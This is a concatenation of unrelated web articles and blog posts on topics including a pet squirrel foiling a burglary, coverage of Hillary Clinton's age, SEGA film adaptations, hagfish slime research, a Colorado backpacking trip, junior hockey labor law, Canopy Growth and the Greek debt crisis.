“The film itself I think is an extremely balanced film. I let everyone speak their piece and be heard in context without manipulation.
Anti-feminist: It has sparked controversy around the world
“The topic really ruffles feathers and makes people afraid.
“I am still passionate about women’s rights and issues and I always will be.
"Making The Red Pill is about exploring a different realm of the gender equality discussion that has never been explored before in a film.”No guard dog here: An Idaho man said his pet squirrel foiled a home invasion burglary in between jumping across the furniture and wolfing down snacks.
Adam Pearl said Monday he knew something was off when he approached his home in Meridian last week and spotted footprints in the snow headed to the back yard. Then he noticed scratches around his gun safe — as if somebody had tried to get in.
But his squirrel, Joey, seemed just fine.
So Pearl called a police officer, who seemed startled by the rodent scurrying between her legs, KIVI reported. “She says, ‘Whoa, what was that,’ and I said, ‘Ahhh, don’t worry about that, that’s just Joey, my pet squirrel, you know.'”
He added, “I said, ‘Well, he usually doesn’t bite, but you never know ’cause he is a squirrel.'”
Sure enough, Officer Ashley Turner reportedly returned hours later carrying some of his stolen items and saying she might have solved the case.
Pearl said the officer had started questioning a suspect. “She said while she was questioning the individual, he had scratches on his hands. So she asked him, ‘Did you get that from the squirrel?’ And he says, ‘Yeah, damn thing kept attacking me and wouldn’t stop until I left.'”
The proud owner said he thanked his squirrel with its favorite snack: not nuts, but candy. “He is a pain in the butt, but he is great.”
It’s not clear exactly how much the unnamed suspect may have stolen. Meridian is about 15 minutes west of Boise.If Mitt Romney does decide to jump into the presidential race for a third time, we’ll have the perfect opportunity to view sexism in action. Why? Because Hillary Clinton and Mitt Romney are the same age (actually, Romney is about 7 months older). Want to keep count on how many pundits and reporters mention her age versus those who mention his?
Mitt Romney’s reemergence as a possible top-tier Republican contender for the 2016 White House race has created an awkward situation for some Republicans and conservative commentators who have been dwelling on Hillary Clinton’s age in recent months. The development also poses a potentially thorny issue for journalists in terms of how they treat male and female politicians.
To date, Republicans have been eager to highlight Clinton’s age. “Republican strategists and presidential hopefuls, in ways subtle and overt, are eager to focus a spotlight on Mrs. Clinton’s age,” the New York Times reported in 2013. Just this week, conservative Washington Post contributor Ed Rogers mocked Clinton for being stuck in a cultural “time warp,” circa the “tie-dye” 1960s.
So why the newfound awkwardness for spotlighting Clinton’s age? Because Mitt Romney’s the same age as Hillary Clinton. They’re both 67 years old. (Actually, Romney’s older than Clinton by seven months.)
The fact that early polling suggests the possible Republican front runner is the same age as Clinton raises interesting questions for the political press, which has carved out plenty of time and space in recent years to analyze the question of Clinton’s age and to repeat Republican allegations that she might be too old for the job of president. Going forward, will the same press corps devote a similar amount of time and space asking the same questions about Romney? And if not, why not? (A recent Boston Globe article actually positioned Romney’s age as a plus for the Republican: “Supporters have also noted that Romney would be 69 years old in 2016 — the same age as Reagan when he was sworn into his first term.”)
Currently, we know where Republicans stand, albeit before they realized 67-year-old Romney might run again. Senate Majority Leader Mitch McConnell compared Clinton to a cast member from “The Golden Girls,” Rick Santorum called her “old,” Wisconsin Governor Scott Walker claimed that Clinton “embodies that old, tired top-down approach from the government,” while former Fox host Mike Huckabee wondered if the former secretary of state who traveled nearly one million miles while in office would have the stamina for a national campaign: “She’s going to be at an age where it’s going to be a challenge for her.”
And then there’s Fox contributor Erick Erickson. Hillary Clinton is “going to be old” in 2016, he said. “I don’t know how far back they can pull her face.”Seems that the SEGA established Stories International will be teaming up with The Walking Dead and Fear of the Walking Dead production company ‘Circle of Confusion‘ who has also produced TV titles such as The Talking Dead, Powers, Outcast and Dirk Gently. They have also worked on films such as Spare Parts, American Ultra and Mr. Right. Circle of Confusion also houses executive producer David Engel who produced Straight out of Compton. The interesting part here is that the variety article, where the source comes from, specifically lists Altered Beast and Streets of Rage as the titles that The Walking Dead production company will be working with.
“These are some of the most well loved SEGA games, and we are thrilled to be working with Stories to adapt them into major film and television franchises,” -Lawrence Mattis, Circle of Confusion producer
If you guys didn’t know, Stories International announced awhile back that they will be making movies or TV show based on SEGA video game franchises including Shinobi with Marc Platt, Golden Axe, Virtua Fighter, The House of the Dead, Rise of Nightmares, and Crazy Taxi. While we have been hearing about these adaptations for years now, we still haven’t seen what it will amount to. Do you think this will turn out to be good for SEGA’s brand? Does having The Walking Dead production company give you confidence? Let us know in the comments below.
[Source: Variety]Man shot after pulling BB gun dies
SAN ANTONIO — A man critically wounded when he tried to pull a BB gun during an argument was pronounced dead in the early-morning hours of New Year's Day.
According to an SAPD report, Ray Anthony Cantu, 28, died at 2:20 a.m. Jan. 1 after being shot in the leg in the 400 block of Emilie Street around 1:15 a.m.
Cantu had been involved in a disturbance on Sussex Avenue on the city's South Side earlier in the night, police said. He walked to apartments in the 400 block of Emilie Street, where he got into another argument with a man who lived at the location identified as Angel Valdez, while inside his residence. Police said Cantu at times had been known to stay at the location.
Officers said Valdez, whose wife and young child were home at the time of the shooting, punched Cantu in the face and kicked him in an attempt to get Cantu out of the apartment.
After being kicked, Cantu tried to pull a weapon.
It was later revealed that Cantu was trying to pull a BB gun, but the man inside the apartment pulled a real handgun, and shot him in the leg.
Police said the wound may have hit an artery in the man's leg.
Police at the scene said Valdez had no way of knowing the weapon was not real, and is not expected to face charges.
[email protected]
Twitter: @MDWilsonSAOn Friday, we pondered whether Cleveland Browns running back Trent Richardson would be ready for training camp.
Brooks: Why Browns will soar People are used to expecting little from the Bucky Brooks says their offense is poised to surprise.
People are used to expecting little from the Browns, butsays their offense is poised to surprise. More...
Even as early reports indicated he could be out through August, the injured running back has insisted from the start he will be at camp after suffering a leg injury.
At the very least, he's on track to be back. Mary Kay Cabot of The Plain Dealer reported Saturday that Richardson has begun his running program as scheduled at home in Pensacola, Fla.
The Browns will be cautious with their talented sophomore running back, but it's good news that Richardson seems to be on schedule.
Follow Kevin Patra on Twitter @kpatra.This animal has done everything right. It has been around for 300 million years, outlived the dinosaurs and survived the catastrophic meteorite impact, warm phases and glacial periods. Even today, it continues to populate the sea at depths where it eats carrion and hunts prey. The Atlantic hagfish (Myxine glutinosa) is not really attractive at first glance. In fact, most people probably consider it quite disgusting. Nevertheless, the hagfish – or rather its slime – has caught the attention of a group of ETH researchers at the Laboratory of Food Process Engineering of Professor Erich Windhab.
The slime of the hagfish is an extraordinary defense mechanism. When a hagfish is attacked by a predator, it secretes a glandular exudate that gels within a split second and forms a massive slime mass – even in cold water. This slime immobilizes vast amounts of water, forming a dilute, viscous and cohesive network. Fish attempting to attack the hagfish may then suffocate on the slime and thus let go of the hagfish.
TV documentary sparks interest
This slime is now the focus of a three-year ETH research project supervised by Dr Simon Kuster and conducted by doctoral student Lukas Böni, Master’s student Lukas Böcker, and postdoctoral researcher Patrick Rühs from Professor Peter Fischer's research group.Video
Inside an old tram depot in north-east London, craftspeople make the models that will showcase the latest fashions in shop windows across Britain.
Over the years, the shape of mannequins has evolved.
Reflecting changes in both fashion and body shape, their producers are mindful of the changing social situation as well as what will sell clothes.
The mannequins made at the factory of Proportion London are produced by hand, from either fibreglass or papier mache.
The company can trace its heritage in mannequin production back 150 years.
Now the staff are preparing to leave their current factory and move to a new home.
BBC News went to see some of the old-fashioned techniques, still used to create the mannequins of today.
Video production: John Galliver
Stop/Start is a series of video features for the BBC News website which follows both new trends that are beginning and old traditions that are coming to an end.The Insult:
Actually, the song was penned by the British, and its lyrics are mocking the shit out of American colonists.
In fact, despite the popular misconception that it's referring to the Revolutionary War, "Yankee Doodle" actually predates it by a couple of decades, back to the French and Indian War, during which the British were actually America's allies. That didn't stop the British from looking down upon the American colonists as a bunch of... well, dandies.
Hulton Archive/Hulton Archive/Getty Images
When your homeland is so shitty that you keep having to steal other countries to live in, you tend to harbor some resentment.
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The song is generally attributed to a British army physician named Richard Shuckburgh, who is thought to have written the ditty after arriving in the not-yet United States and meeting some crappy Connecticut militia in their makeshift uniforms and carrying tenth-rate equipment. As cheerful as the song sounds, it inspires more outrage when you know what its lyrics actually mean. For those who need a reminder:
Yankee Doodle went to town
Riding on a pony,
Stuck a feather in his hat
And called it macaroni!
Yankee Doodle, keep it up,
Yankee Doodle dandy,
Mind the music and the step
And with the girls be handy!
Library of Congress
"Is 'be handy' implying that we're date rapists? Oh, it's on, bitches."
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Like most of the redcoats who begrudgingly sailed to the colonies to show them how it was done, Shuckburgh was a blue-blooded aristocrat who liked to wear those fluffy powdered wigs and puffy pirate shirts that were all the rage -- a fashion that was, at the time, called "macaroni." And although today we tend to use the word "dandy" to mean something like "swell," back then it was a slur for someone who thought they were above their station. Even "Yankee" was slang for "coward," which is probably a rude awakening for the New York baseball team.
So what the Brits were really singing about was those uppity American redneck cowards who put feathers in their hats and dared to think of themselves as being as good as the British. The whole thing seems so ridiculous now, in the same way that all of our '90s rap songs won't make sense in a future era when everyone roots for a pro sports franchise called the Indianapolis Mark-Ass Bitches.
Tasos Katopodis/Getty Images Entertainment/Getty
Squaring off against the Green Bay Bust
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. But when Raw ended on Monday night with the announcement that next month’s Battleground pay-per-view would be Ambrose vs. Rollins. vs. Reigns in a triple threat match, "WrestleMania-caliber" couldn’t have been more true. The Shield showdown was penciled in for this past ‘Mania until a Rollins injury put a snag in that plan, and there was once a pervading theory inside WWE that a match of that magnitude was to be saved for a WrestleMania and WrestleMania only.
But that was then, and this is now — and the prevailing philosophy now seems to be "go for broke and come up with something else next week." That’s a good thing. Practically, it’s silly to hold onto big matches when you never know if the wrestlers will be available or healthy enough to have the match. (See: The Rock vs. Brock Lesnar, failed headline match at WrestleManias 29, 30, 31, and 32.) And more importantly, it brings some of the excitement of the Monday Night Wars back to the product. If anything is on the table, there’s a lot more reason to watch. (Once SmackDown goes live on Tuesday nights, and if, as is rumored, the company starts running two PPVs a month, well, WWE is going to need to come up with a lot of reasons to watch.)
Case in point: Dean Ambrose, WWE champion. Nobody predicted it. A few months ago, if you had told me that Ambrose would either be champ or unemployed come June, I would have had to think about it. But on Sunday, when Ambrose celebrated with the belt, it felt right. Ambrose has a habit of rising to the occasion. And when he held that belt aloft, the crowd did a funny thing — the fans didn’t boo spitefully like they do with Reigns, or ironically like they do with Cena. They didn’t cheer out of turn like they sometimes do with Rollins, or accidentally cheer like they sometimes do with Styles. They just cheered. They cheered at exactly the right time, in exactly the right way.
Welcome to the Ambrose Era, when you don’t know what to expect, but you know how to react when it happens.As I stated in my last post, summer is quickly coming to an end. As such, I decided I needed to do at least one more backpacking trip while it was still relatively warm. I decided to go up over Cameron Pass to the American Lakes, just outside of the boundaries of RMNP’s north border.
I started out fairly late, leaving Fort Collins at around 2:00pm, meaning I got to the trailhead around 4:00. Generally I would have parked in the Cameron Pass parking lot and hiked along the Michigan Ditch road, but there was a recent landslide, and it will be closed until next year. Because of this, I started from the American Lakes trailhead proper, down by the Lake Agnes trailhead.
The trail isn’t terribly long, only 3.5 miles up to the lakes and another 1 mile to Thunder Pass, so I wasn’t worried about arriving in camp too late, but it meant that there were some nice shadows from the waning sun. I had winter on my mind as I was hiking, and I think I want to return here after it snows, since there are some dramatic views around which would only be amplified by a layer of snow.
I really like this picture for a variety of reasons. First off, I really like the broken bridge, it is an interesting subject. Second, I like how it makes my eyes follow it to the sun shining through the trees, which is my third attraction: I recently learned how to get the starburst effect on the sun by having a high aperture (f11), and I think it works well here without too much of a lens flare. Finally, I edited this picture a bit differently than I have in the past, using a bit of split toning to modify the colors marginally, creating a pretty flat but interesting image.
I got to the top right as the sun was setting (see cover image). I set up camp in a stand of trees to protect me from the harsh wind, though it was impossible to avoid it completely, and setting up my tent alone was a hassle. I rehydrated my dinner (Sweet and Sour Lamb, from New Zealand!) and ate as the sun set on Mt. Lulu to my east. Since I didn’t have much to do, I decided to hike over to Thunder Pass to keep myself warm and enjoy the views:
I stepped into the Park just to feel the rush of entering without paying, but quickly jumped back out, lest there was a Ranger watching. By this time it had started to cool down significantly, and the wind was as strong as ever. I want to note that the Icebreaker Helix jacket I took along for the first time this trip performed incredibly, and I will be using it often this winter. Anyway, I then hiked back to my tent to get a new battery for my camera, and get ready for the stars to come out and moon rise.
It was nearly a full harvest moon, and it illuminated the Nokhu Crags brightly. Obligatory selfie here. It was a nice solitary night (despite the wind), though I did see some lights from another group of campers a little lower down in the valley.
This ^ is probably my favorite picture from that trip. I like the shadows of the moonlight and the milky way behind the mountain, and the alpine tundra (one of my favorite areas) presenting a simple foreground.
If you’re interested, here’s what it looks like when the wind blows your camera over in the middle of an exposure. About this time I decided it was a good time to hit the hay for the night, since I planned on waking up before sunrise to document it. The wind didn’t die down in the night as I had hoped it would, and it kept me in a very restless sleep for the night.
The sparse clouds over Mt. Lulu (pictured) were enough to grab the colorful rays of the rising sun, and it was a nice view to capture. However, these clouds eventually blocked the early sun from hitting the peaks of the Nohku Crags, which I was hoping to see. There were plenty of other pictures to be had nonetheless.
Obviously it froze the night before, though I was plenty warm in my 35F bag. You can probably recognize the unnamed mountain in the background from the milky way shot.
Because I hadn’t slept well the night before and it was still pretty cold, I decided to go back to sleep for a couple hours. When I woke again, the sun was fully up and it was almost warm, so I made breakfast, packed up camp (once again, the wind didn’t help in this), and headed back down the mountain.
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Georges St. Pierre is coming back after four years off from MMA, and that is the only variable that gives Michael Bisping a sporting chance in this fight. If GSP feels as fresh as he says he does, then his comeback will be a walk in the park. Styles make fights, and here’s the breakdown as to why this fight at UFC 217 is a bad matchup for Michael Bisping:
Bisping can’t defend angled takedowns
The knee tap and single leg chest pressure have always been Bisping’s achilles heel. Repeatedly throughout the years, these takedowns have taken advantage of the fact that Bisping has limited lateral movement in his hips. This is the same reason why he doesn’t seem to have much pop in his punches, he doesn’t turn his hips enough. CB Dollaway had a hell of a time trying to drive straight through a double leg, but effortlessly spun Bisping to the ground with a basic single leg finish.
Once someone swivels their hips on him, he has a hard time keeping up. This will be a huge problem against someone that utilizes angles so well in their takedowns like GSP. He finishes single and double leg takedowns on fighters with high-level wrestling experience because he knows how to time his shot and drive at the right angle.
Bisping is hard to clinch up with, but GSP won’t use the clinch for upper body trips and suplexes. He’ll drop down for single and double legs. While Bisping is usually good at peeling people off of those, the fact is he’s not good at dealing with people that know how to turn the corner. He loses in exchanges that require lateral hip movement, and when GSP uses angles to finish his shots, that inability to keep up will literally lead to his downfall.
Bisping walks into GSP’s best punch
As mentioned earlier, Bisping’s lack of pop in his punches is largely due to his poor lateral hip mobility. This also effects his striking defences, as it causes him to back up in a straight line, regardless of direction. His tendency to lean in on those arm punches when he enters the pocket also makes it harder for him to back away at the right angle.
A fighter with GSP’s footwork and jab will exploit that all day. He will be a step ahead of Bisping and frustrate him by throwing that jab from places Bisping didn’t think it could come from.
The worst part about that is that Bisping disengages from trouble at an angle that leaves him in prime position for an overhand right or left hook. We saw it against Henderson twice, and the fact is he’s made this mistake his whole career. GSP loves using the overhand right off of an established jab. So when Bisping gets frustrated by the jab and backs up in a straight direction with minimal lateral hip movement, he will be greeted with a big right hand over the top.
Large gap in BJJ skill
Chael Sonnen has said that nobody has felt as heavy as GSP did on him when they trained, and that’s because GSP’s been training BJJ with John Danaher for nearly a decade. For those that don’t know, Danaher is arguably the best no-gi grappling coach in the world, and has turned out multiple champions in that sport. His work with GSP has helped him control and gain dominant position on some of the best guard players in the UFC.
Michael Bisping has a very basic guard. He uses it defensively for the most part, and uses a bit of trickery to get back to his feet. He gets on his side and puts his legs on one side to make it seem like you’re passing. But he’s actually baiting you to use that space he now has on one side to get up, posting off of his opponent in the process to prevent them from following him. But a BJJ expert with a top game as elite as GSP’s will adjust his weight in response and keep Michael pinned before getting into a more dominant position.
GSP has the highest guard passing rate in the UFC, and that dominance will be crystallized through his performance at UFC 217.
The size advantage isn’t what it’s made out to be
Bisping’s size isn’t even that much of an advantage; Bisping is slightly taller by two inches, but actually has a slightly shorter reach. Bisping might outweigh him by about 10 pounds on fight night, but GSP is probably stronger and definitely more athletic, so the physical advantage isn’t all that it’s cracked up to be.
GSP will definitely have to watch out for heavier-handed punches from the larger man. But the truth is that Bisping was never known as a power puncher, so that weight disadvantage won’t pose the same problems as it would if GSP were fighting Whittaker or Romero.
The Verdict
Again, the only reason GSP should lose this fight is if his body has fallen off a cliff in his four years out of the sport. But I think for a fighter with his mental stresses and physical aches, the time off helped him heal and he’ll come back looking better than ever.
Look for GSP to wear Bisping down with smart striking and well-timed takedowns before submitting him late or earning a dominant decision.OLYMPIA, Wash. (AP) -- While Washington's four teams in the Western Hockey League are under investigation for child labor practices, the state Legislature is considering a league request to exempt amateur athletes from state labor laws.
In a hearing before the Washington state Senate's Commerce and Labor Committee Wednesday, officials from the state's WHL teams and the league office said the Seattle Thunderbirds, Spokane Chiefs, Tri-City Americans and Everett Silvertips might have to leave or shut down if state law isn't changed to consider amateur athletes non-employees.
The state's Labor and Industry department has been investigating all four teams since a complaint was filed in 2013 over working conditions for their players, who range in age from 16 to 20 years old and play a 72-game regular season. If the players are considered employees, they are subject to state laws governing minimum wage and working conditions, including child labor laws.
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''If the bill is not passed, it could negatively impact our ability to operate and would force us to move or not operate in the state,'' Silvertips general manager Garry Davidson told the Senate committee.
The 22-team league, along with two others, operates at the highest level of Canadian junior hockey and feeds players to National Hockey League teams. Its athletes are paid stipends, live with host families and earn a year of college scholarship for each season they compete in the league. The only U.S. team in the WHL outside of Washington is the Portland Winterhawks. Oregon officials looked into a child labor complaint against that team last year but did not launch a formal investigation, a spokesman for the state's labor department said.
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In Washington, the league and teams face possible civil penalties and other consequences if the Labor and Industry department finds violations. The department consulted with state Attorney General Bob Ferguson's office in December on the investigation and is currently seeking more information from each team, Labor and Industry spokesman Matthew Erlich said.
Several class-action lawsuits are pending in Canada over pay for junior-league hockey players. The lawyer behind them, Theodore Charney of Toronto, said weather prevented him from attending Wednesday's hearing but sent a six-page letter criticizing the bill for its attempt to deny players coverage under Washington's minimum-wage and labor conditions laws. Charney said in a telephone interview that no other U.S. state or Canadian province has attempted similar legislation and that he doesn't consider the hockey players' position similar to that of college athletes.
''The hockey teams are not universities, they're for-profit businesses,'' Charney said.
The Senate bill passed a committee vote unopposed Wednesday evening. A companion bill comes before the House Committee on Labor for a vote Thursday morning.
''We certainly don't want to lose amateur hockey in this state,'' Senate Commerce and Labor committee chairman Michael Baumgartner, R-Spokane, said.Josh Doctson at training camp. (By Steve Helber / AP)
If there’s been one major concern at Redskins training camp — other than Junior Galette’s season-ending Achilles’ injury — it’s been that wide receiver Josh Doctson still hasn’t been cleared to practice. Washington’s first-round pick is already assured of missing the team’s first preseason game, and some fans have worried that his entire rookie season will be in jeopardy if he doesn’t make it onto the practice field soon.
Here’s someone who doesn’t sound too worried: General Manager Scot McCloughan. The general manager repeatedly called Doctson “very impressive” during a radio interview this week, and didn’t exactly ring any panic alarms when the injury came up.
“It’s too bad he’s hurt right now — and it’s not going to be a long-term thing,” McCloughan said Monday afternoon on SiriusXM NFL Radio with Jim Miller and Pat Kirwan. “But the athleticism, the size, the ability to turn his body in the air and spin and catch balls and all that — it gives us a weapon that we don’t really have.
[Jordan Reed thinks he can top breakout season]
“Now Pierre [Garcon] is a good-sized guy, but he’s not 6-2, which Josh is,” McCloughan went on. “The thing that’s cool about him, when you take a guy in the first round — especially a receiver — they’re usually prima donnas. They’re usually it’s all about me, and he’s not that type of guy. The reason he’s hurt right now is because he wouldn’t tell our trainers that his Achilles was bothering him during [organized team activities], so he kept going through it and going through it and going through it. And that’s just who he is. He’s a great kid.”
That’s the optimist’s view. The pessimist’s view came earlier Monday, when ESPN 980’s Chris Cooley talked about what he’s heard thus far about the rookie receiver.
“I’ve heard not-great things about Josh Doctson,” Cooley said during his morning show with Kevin Sheehan. “The health, the lack of love for football. We’ll see what we get out of this guy. Josh Doctson, if you watch him walk around: not a happy camper. Now maybe it’s the injury, but he’s walking around in a boot, and then he’ll take the boot off and put a cleat on to do some drills, and then immediately put a boot back on.”
Sheehan then wondered if this could be a bust of a season.
[Josh Norman has another new job, this one on television]
“It’s a red-shirt year,” Cooley speculated. “It‘s so hard, even as a first-round pick — unless McCloughan says ‘When he’s in, you game plan for him’ — for a coaching staff to go Garcon, Jackson, Crowder, Reed, Vernon Davis — who’s having a spectacular camp right now — Chris Thompson, Ryan Grant, Rashad Ross, [and] now we start game-planning for this guy that we’ve never seen.
“It’s not helping [Doctson],” Cooley said. “I mean, it’s not hurting him in the long run of his career, and at any point he can come in and have a couple breakout games or a breakout game and Jay [Gruden] and Sean [McVay] will say yup, got to feed the guy. But for the time being, I see him as coming in early and having maybe some red zone package, maybe a heavy personnel package. Remember last year in heavy personnel groupings, I think they’d bring Ryan Grant in. That’s probably Doctson’s role. Play-action, heavy, see what he can get to. I mean, he may change everyone’s mind when he steps on the field, but right now, [being off the field is] not helping him.”If Amazon (s amzn) ends up buying the orphaned webOS from Hewlett-Packard(s hpq), it shouldn’t come as a complete surprise. Last night, VentureBeat, citing a well placed source reported that the two companies are in “serious negotiations” about buying HP’s Palm business.
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It’s been clear for a month that HP was looking into options for the operating system. HP bought Palm and its OS know-how for $1.2 billion in April 2010.
People who have followed HP over the past year could see the writing on the wall. Here’s a quick recap of WebOS-related news.
Earlier this week, Michael Abbott, who led webOS development at Palm before joining Twitter as VP of engineering last year, said he hoped WebOS innovation will live on, whether it is bought by another tech company or not.
“There were novel things we were doing around notifications, and how you could enable a notification to not distract what you were currently doing,” Abbott told Mobilize 2011 attendees.
Amazon dominated headlines this week with the debut of its Amazon Kindle Fire and its own Amazon Silk browser, optimized for use with Amazon Web Services.
Amazon could not be reached for comment. An HP spokesman said the company does not comment on rumors.Canada's largest publicly traded producer of medical marijuana is making the case for the quality of weed made by large-scale manufacturers compared to homegrown bud.
The difference is the same as drinking homebrew versus a good bottle of wine, Bruce Linton, chairman and CEO of Canopy Growth Corp. (TSXV:CGC), said Thursday during a call with analysts.
"People say: 'It's just soil, it grows easily,'" he said.
"No, no, no — quality and consistency doesn't happen without chemicals unless you're running a proper facility."
Linton added that the Smith Falls, Ont., company — which operates Bedrocan Canada Inc. and Tweed Marijuana Inc. — is unfazed by Wednesday's court ruling that permits about 28,000 patients to continue to grow pot at home.
Federal Court Judge Michael Phelan struck down a law introduced by the former Conservative government that required patients to buy cannabis through the mail from licensed producers, ruling it was an arbitrary and overly broad violation of charter rights.
Instead, Linton said, allowing patients to continue to grow their own weed will be "good advertising" for his company once they realize that Canopy's product is far superior.
"We've never been fussed," said Linton, adding that he doesn't think the decision will "materially impact" his company's business.
Canopy, which currently produces medical marijuana via Bedrocan, says it's also ramping up preparations to supply marijuana to recreational users when the laws change, something it expects to happen soon.
Linton also anticipates the federal Liberal government will have to revise current rules governing what types of medical marijuana products can be sold. Last year, the Supreme Court ruled that medical marijuana users can legally use various forms of the drug, including oils.
On Thursday, the company was given the go-ahead to begin selling cannabis oils. The 100-ml bottles, a mix of sunflower and cannabis oils, are priced between $95 to $155.
In its latest quarterly results, Canopy reported exponential growth in revenue and sales volume, but the company remains unprofitable.
Revenue for the three months ended Dec. 31 was $3.5 million, up from just $641,000 a year earlier.
It sold 462,000 grams at an average price of $7.34 per gram during the period, Canopy's fiscal third quarter. That compares with 87,000 grams at $7.04 per gram in the comparable period a year earlier.
Net loss was $3.3 million or four cents per share, compared with $2.6 million or seven cents per share a year earlier when there were fewer shares outstanding.
Linda NguyenThe VHS cover
Star Wars Episode I.I: The Phantom Edit is a fan edit of the film Star Wars: Episode I – The Phantom Menace, removing many elements of the original film. The purpose of the edit, according to creator Mike J. Nichols, was to make a much stronger version of The Phantom Menace based on the previous execution and philosophies of film storytelling and editing of George Lucas.[1] The Phantom Edit was the first unauthorized re-edit of The Phantom Menace to receive major publicity and acclaim.[2]
History [ edit ]
The Phantom Edit was originally circulated in Hollywood studios in 2000 and 2001, and was followed by media attention. Salon.com,[3] NPR,[4] PBS,[5] and the BBC[6] all covered the edit to various degrees.
Rumor attributed The Phantom Edit to Kevin Smith, who admitted to having seen the re-edit but denied that he was the editor. The editor was revealed to be Mike J. Nichols of Santa Clarita, California in the September 7, 2001, edition of the Washington Post.[7]
Available on VHS, DVD and later via BitTorrent, the DVD contains two deleted scenes and a commentary track by the editor as well as a few Easter eggs. The DVD version has also been relabeled as Episode I.II, has a slightly different podrace from the VHS version, and contains more extensive editing to individual images and sounds that have not been entirely cut.[citation needed]
Lucasfilm, the production company of series creator George Lucas, condoned the edit and did not pursue legal action against its distributors.[8]
Changes [ edit ]
Changes made from the original film in The Phantom Edit
Opening crawl replaced with a new one explaining why the edit was made
Re-editing of nearly all scenes featuring Jar Jar Binks and removing some of what Nichols dubs 'Jar Jar Antics'
Removal or re-editing of most of the Battle Droid dialogue
Limiting of exposition throughout the film
Trimming scenes involving politics
Re-arrangement of shots and scenes to match the original Star Wars trilogy's presentation style
trilogy's presentation style Removal of "Yippee" and "Oops" from Anakin's dialogue
Removal of dialogue that specifies the nature of midi-chlorians as a biological basis for Force sensitivity
Reinstatement of deleted scenes in order to fill in plot holes in the film narrative
There were a total of 18 minutes cut from the original film, reducing the run time from 136 minutes to 119 minutes.
Reviews [ edit ]
Critics and filmmakers have commented on the original Phantom Edit, in most cases providing the approval and recognition which furthered the fan edit movement.
"Smart editing to say the least" — Kevin Smith, Film Director [9]
"...Materialized from out of nowhere was a good film that had been hidden inside the disappointing original one." — Daniel Kraus, Salon.com (November 5, 2001) [10]
"[Done by]; someone with a gift for editing!" — Michael Wilmington, Chicago Tribune Film Critic [11][ citation needed ]
The 2010 documentary film The People vs. George Lucas cites The Phantom Edit as a key example of the remix culture created by the Star Wars franchise.
Sequel: Attack of the Phantom [ edit ]
Nichols followed up his edits of Episode I with an edit of Star Wars: Episode II – Attack of the Clones.
Called Star Wars Episode II.I: Attack of the Phantom, the DVD contains a re-edited version (38 minutes cut, new runtime of 104 minutes) of Episode II in surround sound, with a commentary track. At points during the commentary, the viewer has the option to pause the film to view in more detail some of the things that the editor is discussing.“Greece is and will always be a member of the euro, a member of the euro zone,” Mr. Venizelos said.
That Mr. Venizelos had to come out and insist that Greece was not leaving the euro zone — until recently an unspoken article of faith in Greece — underscored how close the country has come to defaulting on its debt and how dangerous such an outcome could be, not just for the euro zone but for a global economy teetering on the verge of recession.
With Greek government debt trading on the open market below 40 cents on the dollar, it is quickly approaching what debt experts call the recovery rate — the price investors would get for their bonds if the country officially defaulted.
In effect, that means investors have given up.
The Greek government has moved to reassure investors, rolling out new austerity measures that include plans to lay off 50,000 public sector workers and to make deeper cuts in wages and pensions. But the Greek economy is expected to shrink 6 percent this year and 2 percent next, and unemployment, already at 16 percent, is ticking up toward Spain’s level of 20 percent.
Even with fresh aid coming in, investors see little chance that Greece, facing such harsh economic conditions, will be able to cope with a debt burden that the I.M.F. now expects to hit 190 percent of gross domestic product next year.
In fact, next year Greece will be paying out 6.1 percent of its G.D.P. in interest payments to creditors — a higher proportion of its overall economic output than any other country in Europe. Even scarier for policy makers is that following closely behind Greece is Italy, where the ratio is 5.6 percent of G.D.P. — a figure that is expected to rise as the country’s debt financing costs continue to ramp up.
No Greek politician will admit this openly, but to keep paying out such a sum to its bankers is unsustainable.
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Which is why policy makers in the United States and Europe are working hard to come up with a plan to prepare for a hard restructuring of Greek debt. The goal is to contain the damage from such an event and ensure that it does not result in a string of bank failures across Europe and the spread of contagion to Italy, the euro zone’s third-largest economy, after Germany and France.
“Something will need to be done to safeguard the European banks, especially if Greece is about to default,” said Stephen L. Jen, a former economist at the I.M.F. who now runs a London-based hedge fund.
At the root of the discussions is a widening view on the part of credit ratings agencies as well as European governments that the banks that funded Greece’s borrowing binge during the previous decade must accept a larger loss on their bond holdings than currently proposed.
Wolfgang Schäuble, the no-nonsense German finance minister, suggested as much in a tough speech delivered to international bankers at the Institute for International Finance over the weekend. He argued that because bankers had made bad lending decisions, they shared the blame for Greece’s predicament and should also share in the cost of resolving it.
“Without a substantial contribution from financial institutions, the legitimacy of our Westernized capitalized systems will suffer,” he said.
As part of the second bailout package, Greece has presented a debt exchange deal in which it would swap its short-term debt for longer-term securities, which would result in a 21 percent loss for the banks.
Because Greek government debt is now trading at a discount of 60 percent to 70 percent, the deal has been seen as a very good one for the banks, especially because the new bonds they will receive will make it easier for them to pursue legal action against Greece if the country defaults.
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The offer does not close until early October, but as it stands, it will make only the smallest dent in Greece’s debt burden. For that reason, many are coming to believe that a larger write-down of Greek debt should be at the center of any renewed rescue operation.
“Instead of cutting public sector wages and cutting spending, Greece should demand much larger haircuts on the debts that they have,” said Peter Boone, a banking and finance expert at the London School of Economics. “The current deal does not reduce the debt burden enough to make much difference.”
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But the chairman of the group that drew up the terms of the debt swap said any change was unlikely.
“It is not feasible to reopen the agreement and, given the benefits to Greece, we should focus now on its timely and resolute implementation,” said Josef Ackermann, the outgoing chief executive of Deutsche Bank and chairman of the I.I.F., which represented the banks.
If the banks can be convinced to go back to the bargaining table, the challenge is ensuring that they can handle not the 21 percent loss they have been preparing for, but a much larger one.
By the numbers alone, this should be affordable. French and German banks have the largest exposures to Greek debt, totaling about $100 billion.
But with major French banks like Société Générale and BNP Paribas rapidly losing the trust of their investors and lenders, their ability to sustain a larger loss is in doubt.
For German banks, the situation is hardly any better. According to Morgan Stanley, their most recent core ratio of capital to assets is just 8.3 percent, compared to 8.2 percent for Greece. For France, the ratio is 9.2 percent.
Analysts and regulators believe that a capital ratio of at least 10 percent is needed to provide a sufficient buffer to absorb losses.
It is for these reasons that the discussions in Washington this weekend have focused on the need to reinforce Europe’s much-derided rescue mechanism, the European Financial Stability Facility, with more cash and the flexibility to allow it to bolster the capital levels of banks.
Olli Rehn, the European Union’s monetary affairs commissioner, said Saturday that there was “increasing political will” among European leaders for a new effort to soothe investors.
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The facility is designed to make as much as €440 billion, or $600 billion, in loans to troubled nations and banks. Mr. Rehn said officials were discussing a plan to multiply the firepower of the E.F.S.F. so that it could instead insure a few trillion euros in loans.
The French and German officials in Washington continued to insist publicly that they were focused on the plan that was announced in July, but in private meetings over the weekend they made it clear that they now understood the need for a new proposal, according to a senior U.S. official who described the private conversations on condition of anonymity.
